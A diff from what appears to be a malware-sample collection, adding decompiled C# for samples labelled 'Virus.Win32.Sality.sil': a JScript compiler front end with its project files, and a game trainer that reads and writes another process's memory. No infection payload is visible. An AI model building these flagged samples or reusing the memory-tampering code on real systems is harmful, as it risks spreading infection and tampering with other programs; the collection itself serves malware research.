+    return definitions;
+  }
+
+  private StringCollection GetAllReferences(string fileList)
+  {
+    StringCollection allReferences = new StringCollection();
+    int startIndex = 0;
+    int argumentSeparatorIndex;
+    do
+    {
+      argumentSeparatorIndex = this.GetArgumentSeparatorIndex(fileList, startIndex);
+      string str = argumentSeparatorIndex != -1 ? fileList.Substring(startIndex, argumentSeparatorIndex - startIndex).Trim() : fileList.Substring(startIndex).Trim();
+      if (str.Length == 0)
+        throw new CmdLineException(CmdLineError.MissingReference, fileList, JScriptCompiler.GetCultureInfo());
+      allReferences.Add(str);
+      startIndex = argumentSeparatorIndex + 1;
+    }
+    while (argumentSeparatorIndex > -1);
+    return allReferences;
+  }
+
+  private void AddDefinition(string def, Hashtable definitions)
+  {
+    int length = def.IndexOf("=");
+    string str1;
+    object obj;
+    if (length == -1)
+    {
+      str1 = def.Trim();
+      obj = (object) true;
+    }
+    else
+    {
+      str1 = def.Substring(0, length).Trim();
+      string str2 = def.Substring(length + 1).Trim();
+      if (string.Compare(str2, "true", true, CultureInfo.InvariantCulture) == 0)
+        obj = (object) true;
+      else if (string.Compare(str2, "false", true, CultureInfo.InvariantCulture) == 0)
+      {
+        obj = (object) false;
+      }
+      else
+      {
+        try
+        {
+          obj = (object) int.Parse(str2, (IFormatProvider) CultureInfo.InvariantCulture);
+        }
+        catch (Exception ex)
+        {
+          throw new CmdLineException(CmdLineError.InvalidDefinition, str1, JScriptCompiler.GetCultureInfo());
+        }
+      }
+    }
+    if (str1.Length == 0)
+      throw new CmdLineException(CmdLineError.MissingDefineArgument, JScriptCompiler.GetCultureInfo());
+    if (str1[0] == '_' && (str1.CompareTo("_debug") == 0 || str1.CompareTo("_fast") == 0 || str1.CompareTo("_jscript") == 0 || str1.CompareTo("_jscript_build") == 0 || str1.CompareTo("_jscript_version") == 0 || str1.CompareTo("_microsoft") == 0 || str1.CompareTo("_win32") == 0 || str1.CompareTo("_x86") == 0))
+      throw new CmdLineException(CmdLineError.CompilerConstant, str1, JScriptCompiler.GetCultureInfo());
+    definitions[(object) str1] = obj;
+  }
+
+  internal string ReadFile(string fileName, int codepage, bool fForceCodepage)
+  {
+    FileStream fileStream;
+    try
+    {
+      fileStream = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read);
+    }
+    catch (ArgumentException ex)
+    {
+      throw new CmdLineException(CmdLineError.InvalidCharacters, fileName, JScriptCompiler.GetCultureInfo());
+    }
+    catch (DirectoryNotFoundException ex)
+    {
+      throw new CmdLineException(CmdLineError.SourceNotFound, fileName, JScriptCompiler.GetCultureInfo());
+    }
+    catch (FileNotFoundException ex)
+    {
+      throw new CmdLineException(CmdLineError.SourceNotFound, fileName, JScriptCompiler.GetCultureInfo());
+    }
+    long length = fileStream.Length;
+    if (length == 0L)
+      return "";
+    Encoding encoding;
+    try
+    {
+      encoding = Encoding.GetEncoding(codepage);
+    }
+    catch (ArgumentException ex)
+    {
+      throw new CmdLineException(CmdLineError.InvalidCodePage, codepage.ToString((IFormatProvider) CultureInfo.InvariantCulture), JScriptCompiler.GetCultureInfo());
+    }
+    StreamReader streamReader = new StreamReader((Stream) fileStream, encoding, true);
+    if (length > (long) int.MaxValue)
+      throw new CmdLineException(CmdLineError.SourceFileTooBig, JScriptCompiler.GetCultureInfo());
+    return streamReader.ReadToEnd();
+  }
+
+  private string[] ReadResponseFile(string strFileName)
+  {
+    FileStream fileStream = new FileStream(strFileName, FileMode.Open, FileAccess.Read, FileShare.Read);
+    if (fileStream.Length == 0L)
+      return (string[]) null;
+    StreamReader streamReader = new StreamReader((Stream) fileStream);
+    string input = streamReader.ReadLine();
+    Regex regex = new Regex("\\s*([^\\s\\\"]|(\\\"[^\\\"\\n]*\\\"))+");
+    StringCollection stringCollection = new StringCollection();
+    for (; input != null; input = streamReader.ReadLine())
+    {
+      if (!input.Trim().StartsWith("#"))
+      {
+        MatchCollection matchCollection = regex.Matches(input);
+        if (matchCollection != null && matchCollection.Count != 0)
+        {
+          foreach (Capture capture in matchCollection)
+          {
+            string str = capture.ToString().Trim();
+            int startIndex = 0;
+            while ((startIndex = str.IndexOf("\"", startIndex)) != -1)
+            {
+              if (startIndex == 0)
+                str = str.Substring(1);
+              else if (str[startIndex - 1] == '\\')
+                ++startIndex;
+              else
+                str = str.Remove(startIndex, 1);
+            }
+            stringCollection.Add(str);
+          }
+        }
+      }
+    }
+    if (stringCollection.Count == 0)
+      return (string[]) null;
+    string[] array = new string[stringCollection.Count];
+    stringCollection.CopyTo(array, 0);
+    return array;
+  }
+
+  internal static string Localize(string s) => JScriptCompiler.Localize(s, (string) null, (CultureInfo) null);
+
+  internal static string Localize(string s, string context) => JScriptCompiler.Localize(s, context, (CultureInfo) null);
+
+  internal static string Localize(string s, CultureInfo culture) => JScriptCompiler.Localize(s, (string) null, culture);
+
+  internal static string Localize(string s, string context, CultureInfo culture)
+  {
+    try
+    {
+      if (culture == null)
+        culture = JScriptCompiler.GetCultureInfo();
+      string str = JScriptCompiler.resourceManager.GetString(s, culture);
+      if (str != null)
+      {
+        int length = str.IndexOf(JScriptCompiler.ContextStringDelimiter);
+        if (length == -1)
+          return str;
+        return context != null ? string.Format(str.Substring(length + 2), (object) context) : str.Substring(0, length);
+      }
+    }
+    catch (MissingManifestResourceException ex)
+    {
+    }
+    return s;
+  }
+
+  internal static CultureInfo GetCultureInfo()
+  {
+    CultureInfo cultureInfo = (CultureInfo) null;
+    try
+    {
+      cultureInfo = new CultureInfo(JScriptCompiler.LCID);
+    }
+    catch (ArgumentException ex)
+    {
+    }
+    return cultureInfo ?? CultureInfo.CurrentUICulture;
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/Virus.Win32.Sality.sil.csproj

@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{A88B204F-33E5-4BED-88F1-B5C717810C18}</ProjectGuid>
+    <OutputType>Exe</OutputType>
+    <AssemblyName>jsc</AssemblyName>
+    <ApplicationVersion>7.0.5000.0</ApplicationVersion>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Microsoft.JScript" />
+    <Reference Include="System" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="CompilerOptions.cs" />
+    <Compile Include="Compiler.cs" />
+    <Compile Include="JScriptCompiler.cs" />
+    <Compile Include="EngineSite.cs" />
+    <Compile Include="BuildVersionInfo.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="JSC.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/Virus.Win32.Sality.sil.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "jsc", "Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48.csproj", "{A88B204F-33E5-4BED-88F1-B5C717810C18}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{A88B204F-33E5-4BED-88F1-B5C717810C18}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{A88B204F-33E5-4BED-88F1-B5C717810C18}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{A88B204F-33E5-4BED-88F1-B5C717810C18}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{A88B204F-33E5-4BED-88F1-B5C717810C18}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/AssemblyInfo.cs

@@ -0,0 +1,13 @@
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+[assembly: AssemblyCompany("Microsoft")]
+[assembly: AssemblyTitle("WindowsApplication1")]
+[assembly: Guid("b4121c83-8b37-46ee-ab4c-a4fe667e4944")]
+[assembly: ComVisible(false)]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCopyright("Copyright © Microsoft 2010")]
+[assembly: AssemblyProduct("WindowsApplication1")]
+[assembly: AssemblyVersion("1.0.0.0")]

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Memory.cs

@@ -0,0 +1,358 @@
+// Decompiled with JetBrains decompiler
+// Type: LFSTweak.Memory
+// Assembly: LFSTweak, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: C77C2A36-D42F-41E0-A8F4-0FAB7DAB4ECE
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Diagnostics;
+using System.Runtime.InteropServices;
+
+namespace LFSTweak
+{
+  [StandardModule]
+  internal sealed class Memory
+  {
+    public const int PROCESS_VM_READ = 16;
+    public const int PROCESS_VM_WRITE = 32;
+    public const int PROCESS_VM_OPERATION = 8;
+    public const int PROCESS_QUERY_INFORMATION = 1024;
+    public const int PROCESS_READ_WRITE_QUERY = 1080;
+    public const int PROCESS_ALL_ACCESS = 2035711;
+
+    [DebuggerNonUserCode]
+    static Memory()
+    {
+    }
+
+    [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
+    public static extern long ReadProcessMemory(
+      IntPtr hProcess,
+      int lpBaseAddress,
+      ref int lpBuffer,
+      int nSize,
+      int lpNumberOfBytesWritten);
+
+    [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
+    public static extern long ReadProcessMemory(
+      IntPtr hProcess,
+      int lpBaseAddress,
+      ref byte[] lpBuffer,
+      int nSize,
+      int lpNumberOfBytesWritten);
+
+    [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
+    public static extern long WriteProcessMemory(
+      IntPtr hProcess,
+      int lpBaseAddress,
+      byte[] lpBuffer,
+      int nSize,
+      int lpNumberOfBytesWritten);
+
+    [DllImport("KERNEL32", EntryPoint = "WriteProcessMemory", CharSet = CharSet.Ansi, SetLastError = true)]
+    public static extern float WriteMemorySingle(
+      int Handle,
+      int Address,
+      ref float Value,
+      int Size = 4,
+      ref int BytesWritten = 0);
+
+    [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
+    public static extern IntPtr OpenProcess(
+      uint dwDesiredAccess,
+      int bInheritHandle,
+      uint dwProcessId);
+
+    [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
+    public static extern bool CloseHandle(IntPtr hHandle);
+
+    public static int Game_Hwnd()
+    {
+      bool flag = false;
+      Process[] processesByName = Process.GetProcessesByName("LFS");
+      int index = 0;
+      int id;
+      if (index < processesByName.Length)
+      {
+        id = processesByName[index].Id;
+        flag = true;
+      }
+      int num1;
+      if (flag)
+      {
+        num1 = id;
+      }
+      else
+      {
+        int num2 = (int) Interaction.MsgBox((object) "Couldn't find Game");
+        ProjectData.EndApp();
+      }
+      return num1;
+    }
+
+    public static void WriteMemory(int Address, int Value, int Size)
+    {
+      try
+      {
+        int num = (int) Memory.OpenProcess(1080U, 0, checked ((uint) Memory.Game_Hwnd()));
+        byte[] bytes = BitConverter.GetBytes(Value);
+        Memory.WriteProcessMemory((IntPtr) num, Address, bytes, Size, 0);
+        Memory.CloseHandle((IntPtr) num);
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+    }
+
+    public static void WriteMemory(int Address, byte[] Value)
+    {
+      try
+      {
+        int num = (int) Memory.OpenProcess(1080U, 0, checked ((uint) Memory.Game_Hwnd()));
+        Memory.WriteProcessMemory((IntPtr) num, Address, Value, Value.Length, 0);
+        Memory.CloseHandle((IntPtr) num);
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+    }
+
+    public static void WriteMemory(int Address, byte[] Value, int Offset, int Length)
+    {
+      try
+      {
+        int num1 = checked (Length - 1);
+        int num2 = 0;
+        while (num2 <= num1)
+        {
+          Memory.WriteMemory(checked (Address + num2), (int) Value[checked (num2 + Offset)], 1);
+          checked { ++num2; }
+        }
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+    }
+
+    public static void WriteMemory(int Address, string Value)
+    {
+      try
+      {
+        int length = Value.Length;
+        int num = checked (length - 1);
+        int index = 0;
+        while (index <= num)
+        {
+          Memory.WriteMemory(checked (Address + index), Strings.Asc(Value[index]), 1);
+          checked { ++index; }
+        }
+        Memory.WriteMemory(checked (Address + length), 0, 1);
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+    }
+
+    public static void WriteMemory(int Address, double Value)
+    {
+      try
+      {
+        byte[] numArray = new byte[8];
+        byte[] bytes = BitConverter.GetBytes(Value);
+        int index = 0;
+        do
+        {
+          Memory.WriteMemory(checked (Address + index), (int) bytes[index], 1);
+          checked { ++index; }
+        }
+        while (index <= 7);
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+    }
+
+    public static void WriteMemorySingle(int Address, float Value)
+    {
+      try
+      {
+        int hHandle = (int) Memory.OpenProcess(1080U, 0, checked ((uint) Memory.Game_Hwnd()));
+        int Handle = hHandle;
+        int Address1 = Address;
+        ref float local1 = ref Value;
+        int num1 = 0;
+        ref int local2 = ref num1;
+        double num2 = (double) Memory.WriteMemorySingle(Handle, Address1, ref local1, BytesWritten: (ref local2));
+        Memory.CloseHandle((IntPtr) hHandle);
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+    }
+
+    public static void ReadMemory(int Address, ref double Value)
+    {
+      try
+      {
+        byte[] numArray = new byte[8];
+        int index = 0;
+        do
+        {
+          int num;
+          Memory.ReadMemory(checked (Address + index), ref num, 1);
+          numArray[index] = checked ((byte) num);
+          checked { ++index; }
+        }
+        while (index <= 7);
+        Value = BitConverter.ToDouble(numArray, 0);
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+    }
+
+    public static void ReadMemory(int Address, ref int Value, int Size)
+    {
+      try
+      {
+        int num = (int) Memory.OpenProcess(1080U, 0, checked ((uint) Memory.Game_Hwnd()));
+        int lpBuffer;
+        Memory.ReadProcessMemory((IntPtr) num, Address, ref lpBuffer, Size, 0);
+        Value = lpBuffer;
+        Memory.CloseHandle((IntPtr) num);
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+    }
+
+    public static void ReadMemory(int Address, ref byte[] Value, int Length)
+    {
+      try
+      {
+        byte[] numArray = new byte[checked (Length - 1 + 1)];
+        int num1 = checked (Length - 1);
+        int index = 0;
+        while (index <= num1)
+        {
+          int num2;
+          Memory.ReadMemory(checked (Address + index), ref num2, 1);
+          numArray[index] = checked ((byte) num2);
+          checked { ++index; }
+        }
+        Value = numArray;
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+    }
+
+    public static void ReadMemory(int Address, ref string Value)
+    {
+      try
+      {
+        string empty = string.Empty;
+        int num = 0;
+        int CharCode;
+        do
+        {
+          Memory.ReadMemory(checked (Address + num), ref CharCode, 1);
+          if (CharCode != 0)
+            empty += Conversions.ToString(Strings.Chr(CharCode));
+          checked { ++num; }
+        }
+        while (CharCode != 0);
+        Value = empty;
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+    }
+
+    public static void ReadMemory(int Address, ref string Value, int Length)
+    {
+      try
+      {
+        string empty = string.Empty;
+        int num1 = checked (Length - 1);
+        int num2 = 0;
+        while (num2 <= num1)
+        {
+          int CharCode;
+          Memory.ReadMemory(checked (Address + num2), ref CharCode, 1);
+          empty += Conversions.ToString(Strings.Chr(CharCode));
+          checked { ++num2; }
+        }
+        Value = empty;
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+    }
+
+    public static object ReadByte(int Address)
+    {
+      int num;
+      Memory.ReadMemory(Address, ref num, 4);
+      return (object) num;
+    }
+
+    public static object ReadByte2(int Address)
+    {
+      int num;
+      Memory.ReadMemory(Address, ref num, 1);
+      return (object) num;
+    }
+
+    public static void WriteByte(int Address, int Value) => Memory.WriteMemory(Address, Value, 4);
+
+    public static void WriteByte2(int Address, int Value) => Memory.WriteMemory(Address, Value, 1);
+
+    public static void ReadSingle(int Address, ref float Value)
+    {
+      try
+      {
+        byte[] numArray = new byte[8];
+        int index = 0;
+        do
+        {
+          int num;
+          Memory.ReadMemory(checked (Address + index), ref num, 1);
+          numArray[index] = checked ((byte) num);
+          checked { ++index; }
+        }
+        while (index <= 7);
+        Value = BitConverter.ToSingle(numArray, 0);
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/InternalXmlHelper.cs

@@ -0,0 +1,177 @@
+// Decompiled with JetBrains decompiler
+// Type: LFSTweak.My.InternalXmlHelper
+// Assembly: LFSTweak, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: C77C2A36-D42F-41E0-A8F4-0FAB7DAB4ECE
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d.exe
+
+using System;
+using System.Collections;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Xml.Linq;
+
+namespace LFSTweak.My
+{
+  [CompilerGenerated]
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [DebuggerNonUserCode]
+  internal sealed class InternalXmlHelper
+  {
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    private InternalXmlHelper()
+    {
+    }
+
+    public static string get_Value(IEnumerable<XElement> source)
+    {
+      IEnumerator<XElement> enumerator;
+      try
+      {
+        enumerator = source.GetEnumerator();
+        if (enumerator.MoveNext())
+          return enumerator.Current.Value;
+      }
+      finally
+      {
+        enumerator?.Dispose();
+      }
+      return (string) null;
+    }
+
+    public static void set_Value(IEnumerable<XElement> source, string value)
+    {
+      IEnumerator<XElement> enumerator;
+      try
+      {
+        enumerator = source.GetEnumerator();
+        if (!enumerator.MoveNext())
+          return;
+        enumerator.Current.Value = value;
+      }
+      finally
+      {
+        enumerator?.Dispose();
+      }
+    }
+
+    public static string get_AttributeValue(IEnumerable<XElement> source, XName name)
+    {
+      IEnumerator<XElement> enumerator;
+      try
+      {
+        enumerator = source.GetEnumerator();
+        if (enumerator.MoveNext())
+          return (string) enumerator.Current.Attribute(name);
+      }
+      finally
+      {
+        enumerator?.Dispose();
+      }
+      return (string) null;
+    }
+
+    public static void set_AttributeValue(IEnumerable<XElement> source, XName name, string value)
+    {
+      IEnumerator<XElement> enumerator;
+      try
+      {
+        enumerator = source.GetEnumerator();
+        if (!enumerator.MoveNext())
+          return;
+        enumerator.Current.SetAttributeValue(name, (object) value);
+      }
+      finally
+      {
+        enumerator?.Dispose();
+      }
+    }
+
+    public static string get_AttributeValue(XElement source, XName name) => (string) source.Attribute(name);
+
+    public static void set_AttributeValue(XElement source, XName name, string value) => source.SetAttributeValue(name, (object) value);
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public static XAttribute CreateAttribute(XName name, object value) => value == null ? (XAttribute) null : new XAttribute(name, RuntimeHelpers.GetObjectValue(value));
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public static XAttribute CreateNamespaceAttribute(XName name, XNamespace ns)
+    {
+      XAttribute namespaceAttribute = new XAttribute(name, (object) ns.NamespaceName);
+      namespaceAttribute.AddAnnotation((object) ns);
+      return namespaceAttribute;
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public static object RemoveNamespaceAttributes(XNamespace[] ns, object obj)
+    {
+      if (ns != null && obj != null)
+      {
+        switch (obj)
+        {
+          case XElement e:
+            // ISSUE: reference to a compiler-generated method
+            return (object) InternalXmlHelper.RemoveNamespaceAttributes(ns, e);
+          case IEnumerable enumerable:
+            // ISSUE: reference to a compiler-generated method
+            return (object) InternalXmlHelper.RemoveNamespaceAttributes(ns, enumerable);
+        }
+      }
+      return obj;
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public static IEnumerable RemoveNamespaceAttributes(XNamespace[] ns, IEnumerable obj)
+    {
+      if (ns == null || obj == null)
+        return obj;
+      // ISSUE: object of a compiler-generated type is created
+      // ISSUE: reference to a compiler-generated method
+      // ISSUE: object of a compiler-generated type is created
+      // ISSUE: reference to a compiler-generated method
+      return obj is IEnumerable<XElement> source ? (IEnumerable) source.Select<XElement, XElement>(new Func<XElement, XElement>(new InternalXmlHelper.RemoveNamespaceAttributesClosure(ns).ProcessXElement)) : (IEnumerable) obj.Cast<object>().Select<object, object>(new Func<object, object>(new InternalXmlHelper.RemoveNamespaceAttributesClosure(ns).ProcessObject));
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public static XElement RemoveNamespaceAttributes(XNamespace[] ns, XElement e)
+    {
+      XAttribute nextAttribute;
+      if (ns != null && e != null)
+      {
+        for (XAttribute xattribute = e.FirstAttribute; xattribute != null; xattribute = nextAttribute)
+        {
+          nextAttribute = xattribute.NextAttribute;
+          if (xattribute.IsNamespaceDeclaration)
+          {
+            XNamespace xnamespace = xattribute.Annotation<XNamespace>();
+            if ((object) xnamespace != null)
+            {
+              int num = checked (ns.Length - 1);
+              int index = 0;
+              while (index <= num)
+              {
+                if (xnamespace == ns[index])
+                {
+                  xattribute.Remove();
+                  break;
+                }
+                checked { ++index; }
+              }
+            }
+          }
+        }
+      }
+      return e;
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public static XNamespace GetNamespace(ref XNamespace xns, string ns)
+    {
+      if ((object) xns == null)
+        xns = XNamespace.Get(ns);
+      return xns;
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MyApplication.cs

@@ -0,0 +1,58 @@
+// Decompiled with JetBrains decompiler
+// Type: LFSTweak.My.MyApplication
+// Assembly: LFSTweak, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: C77C2A36-D42F-41E0-A8F4-0FAB7DAB4ECE
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using System;
+using System.CodeDom.Compiler;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Windows.Forms;
+
+namespace LFSTweak.My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  internal class MyApplication : WindowsFormsApplicationBase
+  {
+    private static List<WeakReference> __ENCList = new List<WeakReference>();
+
+    [DebuggerNonUserCode]
+    static MyApplication()
+    {
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [DebuggerHidden]
+    [STAThread]
+    internal static void Main(string[] Args)
+    {
+      try
+      {
+        Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
+      }
+      finally
+      {
+      }
+      MyProject.Application.Run(Args);
+    }
+
+    [DebuggerStepThrough]
+    public MyApplication()
+      : base(AuthenticationMode.Windows)
+    {
+      lock (MyApplication.__ENCList)
+        MyApplication.__ENCList.Add(new WeakReference((object) this));
+      this.IsSingleInstance = false;
+      this.EnableVisualStyles = true;
+      this.SaveMySettingsOnExit = true;
+      this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
+    }
+
+    [DebuggerStepThrough]
+    protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MyComputer.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: LFSTweak.My.MyComputer
+// Assembly: LFSTweak, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: C77C2A36-D42F-41E0-A8F4-0FAB7DAB4ECE
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d.exe
+
+using Microsoft.VisualBasic.Devices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+
+namespace LFSTweak.My
+{
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  internal class MyComputer : Computer
+  {
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [DebuggerHidden]
+    public MyComputer()
+    {
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MyProject.cs

@@ -0,0 +1,212 @@
+// Decompiled with JetBrains decompiler
+// Type: LFSTweak.My.MyProject
+// Assembly: LFSTweak, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: C77C2A36-D42F-41E0-A8F4-0FAB7DAB4ECE
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.Collections;
+using System.ComponentModel;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace LFSTweak.My
+{
+  [StandardModule]
+  [HideModuleName]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  internal sealed class MyProject
+  {
+    private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
+    private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
+    private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
+
+    [DebuggerNonUserCode]
+    static MyProject()
+    {
+    }
+
